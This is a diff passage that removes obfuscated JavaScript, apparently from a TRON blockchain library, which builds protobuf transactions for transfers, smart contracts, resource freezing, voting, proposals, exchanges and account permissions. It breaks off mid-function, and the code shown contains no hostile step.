- var _0x3e4846 = _0x1232d2.SmartContract;
- var _0x21c6b1 = _0x242c38(7764).ResourceCode;
- var _0x2925c4 = _0x242c38(7084);
- var _0x2b381c = _0x2925c4.WitnessCreateContract;
- var _0x1a6840 = _0x2925c4.VoteWitnessContract;
- var _0x521d87 = _0x242c38(672).UpdateBrokerageContract;
- var _0x3634d6 = _0x242c38(956);
- var _0x958545 = _0x3634d6.AccountCreateContract;
- var _0x4ad8f3 = _0x3634d6.AccountUpdateContract;
- var _0x14cb9d = _0x3634d6.SetAccountIdContract;
- var _0x5259cf = _0x3634d6.AccountPermissionUpdateContract;
- var _0x3c7ec2 = _0x242c38(3544);
- var _0x47be05 = _0x3c7ec2.ProposalCreateContract;
- var _0x1df529 = _0x3c7ec2.ProposalDeleteContract;
- var _0x5c8862 = _0x3c7ec2.ProposalApproveContract;
- var _0x135116 = _0x242c38(9520);
- var _0x5d461e = _0x135116.ExchangeCreateContract;
- var _0x475fde = _0x135116.ExchangeInjectContract;
- var _0x4d96a7 = _0x135116.ExchangeWithdrawContract;
- var _0xb9f72c = _0x135116.ExchangeTransactionContract;
- var _0x55f234 = function (_0x18e836) {
- return _0x18e836 && 0 !== _0x18e836.length ? new Uint8Array(_0x2d34c8.address.toHex(_0x18e836).match(/.{1,2}/g).map(function (_0x1f0b25) {
- return parseInt(_0x1f0b25, 16);
- })) : new Uint8Array([]);
- };
- var _0x48bbeb = function (_0xf9bf9, _0x131347, _0x383d80, _0xfe4f53) {
- var _0x11fd41 = new _0x30d9c7.Any();
- _0x11fd41.pack(_0xf9bf9.serializeBinary(), "protocol." + _0x383d80);
- var _0x4268c0 = new _0x45cabb.Contract();
- _0x4268c0.setType(_0x131347);
- _0x4268c0.setParameter(_0x11fd41);
- _0xfe4f53 && _0x4268c0.setPermissionId(_0xfe4f53);
- var _0xcd3501 = new _0x45cabb.raw();
- _0xcd3501.addContract(_0x4268c0);
- var _0x41f244 = new _0x45cabb();
- _0x41f244.setRawData(_0xcd3501);
- return _0x41f244;
- };
- var _0x4deb06 = function (_0x344d16, _0x21b771, _0x54be49) {
- switch (_0x344d16.type) {
- case "TransferContract":
- return function (_0x508eba, _0x54f1e0) {
- var _0x4255c8 = _0x508eba.to_address;
- var _0x1af7b4 = _0x508eba.owner_address;
- var _0x389545 = _0x508eba.amount;
- var _0x35cc2e = new _0x168755();
- _0x35cc2e.setToAddress(_0x55f234(_0x4255c8));
- _0x35cc2e.setOwnerAddress(_0x55f234(_0x1af7b4));
- _0x35cc2e.setAmount(_0x389545);
- return _0x48bbeb(_0x35cc2e, _0x45cabb.Contract.ContractType.TRANSFERCONTRACT, "TransferContract", _0x54f1e0.Permission_id);
- }(_0x21b771, _0x54be49);
- case "TransferAssetContract":
- return function (_0x2e5a8f, _0x1d4f54) {
- var _0x21cc75 = _0x2e5a8f.to_address;
- var _0x4ec2d6 = _0x2e5a8f.owner_address;
- var _0x593b68 = _0x2e5a8f.amount;
- var _0x304f91 = _0x2e5a8f.asset_name;
- var _0x3b4f7f = new _0x237e7a();
- _0x3b4f7f.setToAddress(_0x55f234(_0x21cc75));
- _0x3b4f7f.setOwnerAddress(_0x55f234(_0x4ec2d6));
- _0x3b4f7f.setAssetName(_0x55f234(_0x304f91.replace(/^0x/, "")));
- _0x3b4f7f.setAmount(_0x593b68);
- return _0x48bbeb(_0x3b4f7f, _0x45cabb.Contract.ContractType.TRANSFERASSETCONTRACT, "TransferAssetContract", _0x1d4f54.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ParticipateAssetIssueContract":
- return function (_0x4bcdab, _0x599e8a) {
- var _0x3cad0a = new _0x3cf886();
- _0x3cad0a.setToAddress(_0x55f234(_0x4bcdab.to_address));
- _0x3cad0a.setOwnerAddress(_0x55f234(_0x4bcdab.owner_address));
- _0x3cad0a.setAssetName(_0x55f234(_0x4bcdab.asset_name.replace(/^0x/, "")));
- _0x3cad0a.setAmount(_0x4bcdab.amount);
- return _0x48bbeb(_0x3cad0a, _0x45cabb.Contract.ContractType.PARTICIPATEASSETISSUECONTRACT, "ParticipateAssetIssueContract", _0x599e8a.Permission_id);
- }(_0x21b771, _0x54be49);
- case "TriggerSmartContract":
- return function (_0x49b80c, _0x237f2f) {
- var _0x17823b = new _0x278913();
- var _0x376112 = _0x49b80c.owner_address;
- var _0xa93926 = _0x49b80c.contract_address;
- var _0x148a99 = _0x49b80c.parameter;
- var _0x160944 = undefined === _0x148a99 ? "" : _0x148a99;
- var _0x160d12 = _0x49b80c.function_selector;
- var _0x545078 = _0x49b80c.call_value;
- var _0x34ef9f = _0x49b80c.call_token_value;
- var _0x7e79fc = _0x49b80c.token_id;
- var _0x25a44e = _0x49b80c.data;
- if (_0x17823b.setOwnerAddress(_0x55f234(_0x376112)), _0x17823b.setContractAddress(_0x55f234(_0xa93926)), _0x17823b.setCallValue(_0x545078), _0x25a44e) {
- _0x17823b.setData(_0x55f234(_0x25a44e));
- } else {
- if (_0x160d12) {
- var _0x122385 = function (_0x249adc) {
- return (arguments.length > 1 && undefined !== arguments[1] && !arguments[1] ? "" : "0x") + _0xa68238(Buffer.from(_0x249adc, "utf-8")).toString().substring(2);
- }(_0x160d12).substring(2, 10) + _0x160944;
- _0x17823b.setData(_0x55f234(_0x122385));
- }
- }
- _0x7e79fc && _0x17823b.setTokenId(_0x7e79fc);
- _0x34ef9f && _0x17823b.setCallTokenValue(_0x34ef9f);
- return _0x48bbeb(_0x17823b, _0x45cabb.Contract.ContractType.TRIGGERSMARTCONTRACT, "TriggerSmartContract", _0x237f2f.Permission_id);
- }(_0x21b771, _0x54be49);
- case "FreezeBalanceContract":
- return function (_0x22ec15, _0x4a15b4) {
- var _0xa78655 = new _0x353eb4();
- var _0x250ebe = _0x22ec15.owner_address;
- var _0x586ea9 = _0x22ec15.frozen_balance;
- var _0xcc413a = _0x22ec15.frozen_duration;
- var _0x206bf5 = _0x22ec15.resource;
- var _0xb078bb = _0x22ec15.receiver_address;
- _0xa78655.setOwnerAddress(_0x55f234(_0x250ebe));
- _0xa78655.setFrozenBalance(_0x586ea9);
- _0xa78655.setFrozenDuration(_0xcc413a);
- _0x206bf5 && _0xa78655.setResource(_0x21c6b1[_0x206bf5]);
- _0xb078bb && _0xa78655.setReceiverAddress(_0x55f234(_0xb078bb));
- return _0x48bbeb(_0xa78655, _0x45cabb.Contract.ContractType.FREEZEBALANCECONTRACT, "FreezeBalanceContract", _0x4a15b4.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UnfreezeBalanceContract":
- return function (_0x4ffdfe, _0x279ee3) {
- var _0x2a9e28 = new _0x1153fb();
- var _0x3e97a2 = _0x4ffdfe.owner_address;
- var _0x4e583d = _0x4ffdfe.resource;
- var _0x5a6f77 = _0x4ffdfe.receiver_address;
- _0x2a9e28.setOwnerAddress(_0x55f234(_0x3e97a2));
- _0x4e583d && _0x2a9e28.setResource(_0x21c6b1[_0x4e583d]);
- _0x5a6f77 && _0x2a9e28.setReceiverAddress(_0x55f234(_0x5a6f77));
- return _0x48bbeb(_0x2a9e28, _0x45cabb.Contract.ContractType.UNFREEZEBALANCECONTRACT, "UnfreezeBalanceContract", _0x279ee3.Permission_id);
- }(_0x21b771, _0x54be49);
- case "WithdrawBalanceContract":
- return function (_0x5f2e5c, _0x8321f9) {
- var _0x58154e = new _0x398925();
- var _0x5a9b6e = _0x5f2e5c.owner_address;
- _0x58154e.setOwnerAddress(_0x55f234(_0x5a9b6e));
- return _0x48bbeb(_0x58154e, _0x45cabb.Contract.ContractType.WITHDRAWBALANCECONTRACT, "WithdrawBalanceContract", _0x8321f9.Permission_id);
- }(_0x21b771, _0x54be49);
- case "FreezeBalanceV2Contract":
- return function (_0x78e375, _0xe7f09e) {
- var _0x5bfdf2 = new _0x338e57();
- var _0x198151 = _0x78e375.owner_address;
- var _0x3b5820 = _0x78e375.frozen_balance;
- var _0x656583 = _0x78e375.resource;
- _0x5bfdf2.setOwnerAddress(_0x55f234(_0x198151));
- _0x5bfdf2.setFrozenBalance(_0x3b5820);
- _0x5bfdf2.setResource(_0x21c6b1[_0x656583]);
- return _0x48bbeb(_0x5bfdf2, _0x45cabb.Contract.ContractType.FREEZEBALANCEV2CONTRACT, "FreezeBalanceV2Contract", _0xe7f09e.Permission_id);
- }(_0x21b771, _0x54be49);
- case "CancelAllUnfreezeV2Contract":
- return function (_0x301d3e, _0x5ada5e) {
- var _0x17ad72 = new _0x52b8c1();
- var _0x3cc841 = _0x301d3e.owner_address;
- _0x17ad72.setOwnerAddress(_0x55f234(_0x3cc841));
- return _0x48bbeb(_0x17ad72, _0x45cabb.Contract.ContractType.CANCELALLUNFREEZEV2CONTRACT, "CancelAllUnfreezeV2Contract", _0x5ada5e.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UnfreezeBalanceV2Contract":
- return function (_0x436d9c, _0x483732) {
- var _0x1f19f0 = new _0x25037e();
- var _0x35535d = _0x436d9c.owner_address;
- var _0x2a44da = _0x436d9c.unfreeze_balance;
- var _0x229d76 = _0x436d9c.resource;
- _0x1f19f0.setOwnerAddress(_0x55f234(_0x35535d));
- _0x1f19f0.setUnfreezeBalance(_0x2a44da);
- _0x1f19f0.setResource(_0x21c6b1[_0x229d76]);
- return _0x48bbeb(_0x1f19f0, _0x45cabb.Contract.ContractType.UNFREEZEBALANCEV2CONTRACT, "UnfreezeBalanceV2Contract", _0x483732.Permission_id);
- }(_0x21b771, _0x54be49);
- case "DelegateResourceContract":
- return function (_0x2080cd, _0x1f8ff5) {
- var _0x3ce263 = new _0xc3fa07();
- var _0x4d6447 = _0x2080cd.owner_address;
- var _0x3eb56a = _0x2080cd.receiver_address;
- var _0x15fd63 = _0x2080cd.balance;
- var _0x56703f = _0x2080cd.resource;
- var _0x559c02 = _0x2080cd.lock;
- var _0x44f98d = undefined !== _0x559c02 && _0x559c02;
- var _0x548756 = _0x2080cd.lock_period;
- _0x3ce263.setOwnerAddress(_0x55f234(_0x4d6447));
- _0x3ce263.setBalance(_0x15fd63);
- _0x3ce263.setResource(_0x21c6b1[_0x56703f]);
- _0x3ce263.setLock(_0x44f98d);
- _0x3ce263.setLockPeriod(_0x548756);
- _0x3ce263.setReceiverAddress(_0x55f234(_0x3eb56a));
- return _0x48bbeb(_0x3ce263, _0x45cabb.Contract.ContractType.DELEGATERESOURCECONTRACT, "DelegateResourceContract", _0x1f8ff5.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UnDelegateResourceContract":
- return function (_0x4b64df, _0x3d9de1) {
- var _0x28a822 = new _0x2af137();
- var _0xb7cbb6 = _0x4b64df.owner_address;
- var _0x44a448 = _0x4b64df.receiver_address;
- var _0x1873ab = _0x4b64df.balance;
- var _0x5e24a4 = _0x4b64df.resource;
- _0x28a822.setOwnerAddress(_0x55f234(_0xb7cbb6));
- _0x28a822.setBalance(_0x1873ab);
- _0x28a822.setResource(_0x21c6b1[_0x5e24a4]);
- _0x28a822.setReceiverAddress(_0x55f234(_0x44a448));
- return _0x48bbeb(_0x28a822, _0x45cabb.Contract.ContractType.UNDELEGATERESOURCECONTRACT, "UnDelegateResourceContract", _0x3d9de1.Permission_id);
- }(_0x21b771, _0x54be49);
- case "WithdrawExpireUnfreezeContract":
- return function (_0x12f197, _0x2abcc1) {
- var _0x14c4cf = new _0x52b8c1();
- var _0x2012ec = _0x12f197.owner_address;
- _0x14c4cf.setOwnerAddress(_0x55f234(_0x2012ec));
- return _0x48bbeb(_0x14c4cf, _0x45cabb.Contract.ContractType.WITHDRAWEXPIREUNFREEZECONTRACT, "WithdrawExpireUnfreezeContract", _0x2abcc1.Permission_id);
- }(_0x21b771, _0x54be49);
- case "WitnessCreateContract":
- return function (_0x1563f7, _0x5cad1e) {
- var _0x5d2861 = new _0x2b381c();
- var _0x48acef = _0x1563f7.owner_address;
- var _0x458d91 = _0x1563f7.url;
- _0x5d2861.setOwnerAddress(_0x55f234(_0x48acef));
- _0x5d2861.setUrl(_0x55f234(_0x458d91.replace(/^0x/, "")));
- return _0x48bbeb(_0x5d2861, _0x45cabb.Contract.ContractType.WITNESSCREATECONTRACT, "WitnessCreateContract", _0x5cad1e.Permission_id);
- }(_0x21b771, _0x54be49);
- case "VoteWitnessContract":
- return function (_0x1ae46d, _0x16fd3a) {
- var _0x343f8f = new _0x1a6840();
- var _0x555c6e = _0x1ae46d.owner_address;
- var _0x44f7c0 = _0x1ae46d.votes;
- _0x343f8f.setOwnerAddress(_0x55f234(_0x555c6e));
- _0x44f7c0.forEach(function (_0x3dc4ad) {
- var _0xeca0fe = new _0x1a6840.Vote();
- var _0x10905e = _0x3dc4ad.vote_address;
- var _0x1ca205 = _0x3dc4ad.vote_count;
- _0xeca0fe.setVoteAddress(_0x55f234(_0x10905e));
- var _0x54f775 = parseInt(_0x1ca205);
- _0xeca0fe.setVoteCount(_0x54f775);
- _0x343f8f.addVotes(_0xeca0fe);
- });
- return _0x48bbeb(_0x343f8f, _0x45cabb.Contract.ContractType.VOTEWITNESSCONTRACT, "VoteWitnessContract", _0x16fd3a.Permission_id);
- }(_0x21b771, _0x54be49);
- case "CreateSmartContract":
- return function (_0x2bc9c1, _0xbd57c0) {
- var _0x306496 = null != _0x2bc9c1 && _0x2bc9c1.new_contract ? _0x3ecfd7(_0x3ecfd7({}, {
- owner_address: _0x2bc9c1.owner_address,
- call_token_value: _0x2bc9c1.call_token_value,
- token_id: _0x2bc9c1.token_id
- }), _0x2bc9c1.new_contract) : _0x2bc9c1;
- var _0x3274d9 = _0x306496.owner_address;
- var _0x36eff0 = _0x306496.consume_user_resource_percent;
- var _0x59829f = _0x306496.origin_energy_limit;
- var _0x504b98 = _0x306496.abi;
- var _0x2aab7e = _0x306496.bytecode;
- var _0x48e59c = undefined === _0x2aab7e ? "" : _0x2aab7e;
- var _0x3aa367 = _0x306496.name;
- var _0x23c0c7 = _0x306496.parameter;
- var _0x3c0718 = undefined === _0x23c0c7 ? "" : _0x23c0c7;
- var _0x518bd8 = _0x306496.call_value;
- var _0xdee300 = _0x306496.call_token_value;
- var _0xe9f1c4 = _0x306496.token_id;
- var _0x4b9f2a = _0x306496.origin_address;
- var _0x5afe00 = new _0xbe3df7();
- _0x5afe00.setOwnerAddress(_0x55f234(_0x3274d9));
- _0xe9f1c4 && _0x5afe00.setTokenId(_0xe9f1c4);
- _0xdee300 && _0x5afe00.setCallTokenValue(_0xdee300);
- var _0x596372 = new _0x3e4846();
- if (_0x504b98) {
- var _0x45e1a6;
- _0x45e1a6 = "string" == typeof _0x504b98 ? JSON.parse(_0x504b98) : (null == _0x504b98 ? undefined : _0x504b98.entrys) || [];
- var _0x7c801b = new _0x3e4846.ABI();
- var _0x5ee45d = function (_0x25bb2f) {
- var _0x441548 = new _0x3e4846.ABI.Entry.Param();
- var _0xba92a5 = _0x25bb2f.indexed;
- var _0x2b2cf8 = _0x25bb2f.name;
- var _0x22a7f0 = _0x25bb2f.type;
- true === _0xba92a5 && _0x441548.setIndexed(true);
- _0x441548.setName(_0x2b2cf8);
- _0x441548.setType(_0x22a7f0);
- return _0x441548;
- };
- var _0x1dbac5 = _0x45e1a6.map(function (_0x2ba381) {
- var _0x49883a = _0x2ba381.anonymous;
- var _0x214340 = _0x2ba381.constant;
- var _0x3fe1a6 = _0x2ba381.name;
- var _0x5c5efa = _0x2ba381.inputs;
- var _0x3bb2fd = _0x2ba381.outputs;
- var _0x4eee8e = _0x2ba381.type;
- var _0x25f378 = _0x2ba381.payable;
- var _0x3f9d83 = _0x2ba381.stateMutability;
- var _0x549839 = new _0x3e4846.ABI.Entry();
- _0x549839.setAnonymous(_0x49883a);
- _0x549839.setConstant(_0x214340);
- _0x549839.setName(_0x3fe1a6);
- _0x5c5efa && _0x549839.setInputsList(_0x5c5efa.map(function (_0xf0c2d) {
- return _0x5ee45d(_0xf0c2d);
- }));
- _0x3bb2fd && _0x549839.setOutputsList(_0x3bb2fd.map(function (_0x4e530f) {
- return _0x5ee45d(_0x4e530f);
- }));
- _0x4eee8e && _0x549839.setType(_0x3e4846.ABI.Entry.EntryType[_0x4eee8e.toUpperCase()]);
- _0x549839.setPayable(_0x25f378);
- _0x3f9d83 && _0x549839.setStatemutability(_0x3e4846.ABI.Entry.StateMutabilityType[_0x3f9d83.toUpperCase()]);
- return _0x549839;
- });
- _0x7c801b.setEntrysList(_0x1dbac5);
- _0x596372.setAbi(_0x7c801b);
- }
- if (_0x518bd8 && _0x596372.setCallValue(_0x518bd8), _0x596372.setConsumeUserResourcePercent(_0x36eff0), _0x596372.setOriginEnergyLimit(_0x59829f), _0x4b9f2a || (_0x4b9f2a = _0x3274d9), _0x596372.setOriginAddress(_0x55f234(_0x4b9f2a)), _0x48e59c) {
- var _0x549c27 = _0x48e59c.replace(/^0x/, "") + _0x3c0718.replace(/^0x/, "");
- _0x596372.setBytecode(_0x55f234(_0x549c27));
- }
- _0x596372.setName(_0x3aa367);
- _0x5afe00.setNewContract(_0x596372);
- return _0x48bbeb(_0x5afe00, _0x45cabb.Contract.ContractType.CREATESMARTCONTRACT, "CreateSmartContract", _0xbd57c0.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ClearABIContract":
- return function (_0x86b6d3, _0x299f96) {
- var _0x4ec660 = _0x86b6d3.contract_address;
- var _0x4ff531 = _0x86b6d3.owner_address;
- var _0x401634 = new _0x4a5ca0();
- _0x401634.setOwnerAddress(_0x55f234(_0x4ff531));
- _0x401634.setContractAddress(_0x55f234(_0x4ec660));
- return _0x48bbeb(_0x401634, _0x45cabb.Contract.ContractType.CLEARABICONTRACT, "ClearABIContract", _0x299f96.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UpdateBrokerageContract":
- return function (_0x35b602, _0x2409c8) {
- var _0x2fdfbc = _0x35b602.brokerage;
- var _0x548f44 = _0x35b602.owner_address;
- var _0x3beeb8 = new _0x521d87();
- _0x3beeb8.setOwnerAddress(_0x55f234(_0x548f44));
- _0x3beeb8.setBrokerage(_0x2fdfbc);
- return _0x48bbeb(_0x3beeb8, _0x45cabb.Contract.ContractType.UPDATEBROKERAGECONTRACT, "UpdateBrokerageContract", _0x2409c8.Permission_id);
- }(_0x21b771, _0x54be49);
- case "AssetIssueContract":
- return function (_0x48683f, _0x49e28c) {
- var _0xe011bc = _0x48683f.owner_address;
- var _0x352542 = _0x48683f.name;
- var _0x150df7 = _0x48683f.abbr;
- var _0x4637ca = _0x48683f.description;
- var _0x51164c = _0x48683f.url;
- var _0x592a87 = _0x48683f.total_supply;
- var _0x290a0b = _0x48683f.trx_num;
- var _0x29e175 = _0x48683f.num;
- var _0x3bc819 = _0x48683f.start_time;
- var _0x2a0603 = _0x48683f.end_time;
- var _0x1cd8b8 = _0x48683f.precision;
- var _0x203671 = _0x48683f.free_asset_net_limit;
- var _0x526d7d = _0x48683f.public_free_asset_net_limit;
- var _0x47bdcd = _0x48683f.public_free_asset_net_usage;
- var _0x530eec = undefined === _0x47bdcd ? 0 : _0x47bdcd;
- var _0x2ec785 = _0x48683f.public_latest_free_net_time;
- var _0x969545 = undefined === _0x2ec785 ? 0 : _0x2ec785;
- var _0x4bd8f6 = _0x48683f.vote_score;
- var _0x3a5ce7 = undefined === _0x4bd8f6 ? 0 : _0x4bd8f6;
- var _0xd8a9f6 = _0x48683f.frozen_supply;
- var _0x415818 = new _0x22d082();
- if (_0x415818.setOwnerAddress(_0x55f234(_0xe011bc)), _0x352542 && _0x415818.setName(_0x55f234(_0x352542.replace(/^0x/, ""))), _0x150df7 && _0x415818.setAbbr(_0x55f234(_0x150df7.replace(/^0x/, ""))), _0x415818.setTotalSupply(_0x592a87), _0x415818.setNum(_0x29e175), _0x415818.setEndTime(_0x2a0603), _0x415818.setStartTime(_0x3bc819), _0x415818.setTrxNum(_0x290a0b), _0x415818.setVoteScore(_0x3a5ce7), _0x1cd8b8 && _0x415818.setPrecision(_0x1cd8b8), _0x969545 && _0x415818.setPublicLatestFreeNetTime(_0x969545), _0x4637ca && _0x415818.setDescription(_0x55f234(_0x4637ca.replace(/^0x/, ""))), _0x51164c && _0x415818.setUrl(_0x55f234(_0x51164c.replace(/^0x/, ""))), _0x415818.setPublicFreeAssetNetUsage(_0x530eec), _0x415818.setFreeAssetNetLimit(_0x203671), _0x415818.setPublicFreeAssetNetLimit(_0x526d7d), _0xd8a9f6) {
- var _0xbeb810 = new _0x22d082.FrozenSupply();
- _0xbeb810.setFrozenAmount(_0xd8a9f6.length ? _0xd8a9f6[0].frozen_amount : _0xd8a9f6.frozen_amount);
- _0xbeb810.setFrozenDays(_0xd8a9f6.length ? _0xd8a9f6[0].frozen_days : _0xd8a9f6.frozen_days);
- _0x415818.addFrozenSupply(_0xbeb810);
- }
- return _0x48bbeb(_0x415818, _0x45cabb.Contract.ContractType.ASSETISSUECONTRACT, "AssetIssueContract", _0x49e28c.Permission_id);
- }(_0x21b771, _0x54be49);
- case "AccountCreateContract":
- return function (_0x5e2a8e, _0x4d287b) {
- var _0x1a0b3b = new _0x958545();
- var _0x3a338c = _0x5e2a8e.account_address;
- var _0x494969 = _0x5e2a8e.owner_address;
- _0x1a0b3b.setOwnerAddress(_0x55f234(_0x494969));
- _0x1a0b3b.setAccountAddress(_0x55f234(_0x3a338c.replace(/^0x/, "")));
- return _0x48bbeb(_0x1a0b3b, _0x45cabb.Contract.ContractType.ACCOUNTCREATECONTRACT, "AccountCreateContract", _0x4d287b.Permission_id);
- }(_0x21b771, _0x54be49);
- case "AccountUpdateContract":
- return function (_0x5daa0f, _0x44f52d) {
- var _0x401fc8 = new _0x4ad8f3();
- var _0x3f27bb = _0x5daa0f.account_name;
- var _0x14e1db = _0x5daa0f.owner_address;
- _0x401fc8.setOwnerAddress(_0x55f234(_0x14e1db));
- _0x401fc8.setAccountName(_0x55f234(_0x3f27bb.replace(/^0x/, "")));
- return _0x48bbeb(_0x401fc8, _0x45cabb.Contract.ContractType.ACCOUNTUPDATECONTRACT, "AccountUpdateContract", _0x44f52d.Permission_id);
- }(_0x21b771, _0x54be49);
- case "SetAccountIdContract":
- return function (_0x497df3, _0xf7202e) {
- var _0x525dde = new _0x14cb9d();
- var _0x2f8fc4 = _0x497df3.account_id;
- var _0x1775cc = _0x497df3.owner_address;
- _0x525dde.setOwnerAddress(_0x55f234(_0x1775cc));
- _0x525dde.setAccountId(_0x55f234(_0x2f8fc4.replace(/^0x/, "")));
- return _0x48bbeb(_0x525dde, _0x45cabb.Contract.ContractType.SETACCOUNTIDCONTRACT, "SetAccountIdContract", _0xf7202e.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ProposalCreateContract":
- return function (_0x391f91, _0x51a12b) {
- var _0x5ee526 = new _0x47be05();
- var _0x20d1ed = _0x391f91.owner_address;
- var _0x5cb3f4 = _0x391f91.parameters;
- _0x5ee526.setOwnerAddress(_0x55f234(_0x20d1ed));
- _0x5cb3f4.forEach(function (_0x441466) {
- _0x5ee526.getParametersMap().set(_0x441466.key, _0x441466.value);
- });
- return _0x48bbeb(_0x5ee526, _0x45cabb.Contract.ContractType.PROPOSALCREATECONTRACT, "ProposalCreateContract", _0x51a12b.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ProposalDeleteContract":
- return function (_0x180607, _0x1e0c21) {
- var _0x52f09c = new _0x1df529();
- var _0x1f53ec = _0x180607.owner_address;
- var _0x10383 = _0x180607.proposal_id;
- _0x52f09c.setOwnerAddress(_0x55f234(_0x1f53ec));
- _0x52f09c.setProposalId(_0x10383);
- return _0x48bbeb(_0x52f09c, _0x45cabb.Contract.ContractType.PROPOSALDELETECONTRACT, "ProposalDeleteContract", _0x1e0c21.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ProposalApproveContract":
- return function (_0x25c122, _0x461a4c) {
- var _0x5c3a91 = new _0x5c8862();
- var _0x48f2f4 = _0x25c122.owner_address;
- var _0x24ecd0 = _0x25c122.proposal_id;
- var _0x33b0fc = _0x25c122.is_add_approval;
- _0x5c3a91.setOwnerAddress(_0x55f234(_0x48f2f4));
- _0x5c3a91.setProposalId(_0x24ecd0);
- _0x5c3a91.setIsAddApproval(_0x33b0fc);
- return _0x48bbeb(_0x5c3a91, _0x45cabb.Contract.ContractType.PROPOSALAPPROVECONTRACT, "ProposalApproveContract", _0x461a4c.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ExchangeCreateContract":
- return function (_0x399584, _0x3b96c1) {
- var _0x1eb982 = new _0x5d461e();
- var _0x1631b6 = _0x399584.owner_address;
- var _0x1c74bf = _0x399584.first_token_id;
- var _0x36b5a5 = _0x399584.first_token_balance;
- var _0x2b3da2 = _0x399584.second_token_id;
- var _0x33622f = _0x399584.second_token_balance;
- _0x1eb982.setOwnerAddress(_0x55f234(_0x1631b6));
- _0x1eb982.setFirstTokenId(_0x55f234(_0x1c74bf.replace(/^0x/, "")));
- _0x1eb982.setFirstTokenBalance(_0x36b5a5);
- _0x1eb982.setSecondTokenId(_0x55f234(_0x2b3da2.replace(/^0x/, "")));
- _0x1eb982.setSecondTokenBalance(_0x33622f);
- return _0x48bbeb(_0x1eb982, _0x45cabb.Contract.ContractType.EXCHANGECREATECONTRACT, "ExchangeCreateContract", _0x3b96c1.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ExchangeInjectContract":
- return function (_0x6c17b6, _0x234997) {
- var _0x3b24b9 = new _0x475fde();
- var _0x2e49d7 = _0x6c17b6.owner_address;
- var _0x204616 = _0x6c17b6.exchange_id;
- var _0x9e7319 = _0x6c17b6.token_id;
- var _0x3d498f = _0x6c17b6.quant;
- _0x3b24b9.setOwnerAddress(_0x55f234(_0x2e49d7));
- _0x3b24b9.setExchangeId(_0x204616);
- _0x3b24b9.setTokenId(_0x55f234(_0x9e7319.replace(/^0x/, "")));
- _0x3b24b9.setQuant(_0x3d498f);
- return _0x48bbeb(_0x3b24b9, _0x45cabb.Contract.ContractType.EXCHANGEINJECTCONTRACT, "ExchangeInjectContract", _0x234997.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ExchangeWithdrawContract":
- return function (_0x38cf17, _0x1c6735) {
- var _0x30ccf3 = new _0x4d96a7();
- var _0x4c5e48 = _0x38cf17.owner_address;
- var _0x2b884e = _0x38cf17.exchange_id;
- var _0x8fad1e = _0x38cf17.token_id;
- var _0x561b7c = _0x38cf17.quant;
- _0x30ccf3.setOwnerAddress(_0x55f234(_0x4c5e48));
- _0x30ccf3.setExchangeId(_0x2b884e);
- _0x30ccf3.setTokenId(_0x55f234(_0x8fad1e.replace(/^0x/, "")));
- _0x30ccf3.setQuant(_0x561b7c);
- return _0x48bbeb(_0x30ccf3, _0x45cabb.Contract.ContractType.EXCHANGEWITHDRAWCONTRACT, "ExchangeWithdrawContract", _0x1c6735.Permission_id);
- }(_0x21b771, _0x54be49);
- case "ExchangeTransactionContract":
- return function (_0x4220be, _0x1a47a6) {
- var _0x54a0e4 = new _0xb9f72c();
- var _0x489e83 = _0x4220be.owner_address;
- var _0x267ba0 = _0x4220be.exchange_id;
- var _0x2b131e = _0x4220be.token_id;
- var _0x522495 = _0x4220be.quant;
- var _0x3ea10e = _0x4220be.expected;
- _0x54a0e4.setOwnerAddress(_0x55f234(_0x489e83));
- _0x54a0e4.setExchangeId(_0x267ba0);
- _0x54a0e4.setTokenId(_0x55f234(_0x2b131e.replace(/^0x/, "")));
- _0x54a0e4.setQuant(_0x522495);
- _0x54a0e4.setExpected(_0x3ea10e);
- return _0x48bbeb(_0x54a0e4, _0x45cabb.Contract.ContractType.EXCHANGETRANSACTIONCONTRACT, "ExchangeTransactionContract", _0x1a47a6.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UpdateSettingContract":
- return function (_0x1b0869, _0x21898b) {
- var _0x455902 = new _0x50d7bf();
- var _0x20f917 = _0x1b0869.owner_address;
- var _0x5657bc = _0x1b0869.contract_address;
- var _0x4585d5 = _0x1b0869.consume_user_resource_percent;
- _0x455902.setOwnerAddress(_0x55f234(_0x20f917));
- _0x455902.setContractAddress(_0x55f234(_0x5657bc));
- _0x455902.setConsumeUserResourcePercent(_0x4585d5);
- return _0x48bbeb(_0x455902, _0x45cabb.Contract.ContractType.UPDATESETTINGCONTRACT, "UpdateSettingContract", _0x21898b.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UpdateEnergyLimitContract":
- return function (_0x351d21, _0x10ed65) {
- var _0x42b5b3 = new _0x224a6d();
- var _0x475b23 = _0x351d21.owner_address;
- var _0x21d267 = _0x351d21.contract_address;
- var _0x51576c = _0x351d21.origin_energy_limit;
- _0x42b5b3.setOwnerAddress(_0x55f234(_0x475b23));
- _0x42b5b3.setContractAddress(_0x55f234(_0x21d267));
- _0x42b5b3.setOriginEnergyLimit(_0x51576c);
- return _0x48bbeb(_0x42b5b3, _0x45cabb.Contract.ContractType.UPDATEENERGYLIMITCONTRACT, "UpdateEnergyLimitContract", _0x10ed65.Permission_id);
- }(_0x21b771, _0x54be49);
- case "AccountPermissionUpdateContract":
- return function (_0x54c0be, _0x470e1a) {
- var _0xf68ec1 = new _0x5259cf();
- var _0x5e5cac = _0x54c0be.owner_address;
- var _0x54b109 = _0x54c0be.owner;
- var _0x16a94b = _0x54c0be.witness;
- var _0x5a2e36 = _0x54c0be.actives;
- _0xf68ec1.setOwnerAddress(_0x55f234(_0x5e5cac));
- var _0x560336 = function (_0x44ee18) {
- var _0x2ce3eb = new _0x356b0c();
- var _0x40a766 = _0x44ee18.type;
- var _0x930216 = _0x44ee18.id;
- var _0x18f40b = _0x44ee18.permission_name;
- var _0x1a6575 = _0x44ee18.threshold;
- var _0x4818b1 = _0x44ee18.parentId;
- var _0x38f860 = _0x44ee18.operations;
- var _0x511cca = _0x44ee18.keys;
- _0x2ce3eb.setType(function (_0xf2bb18) {
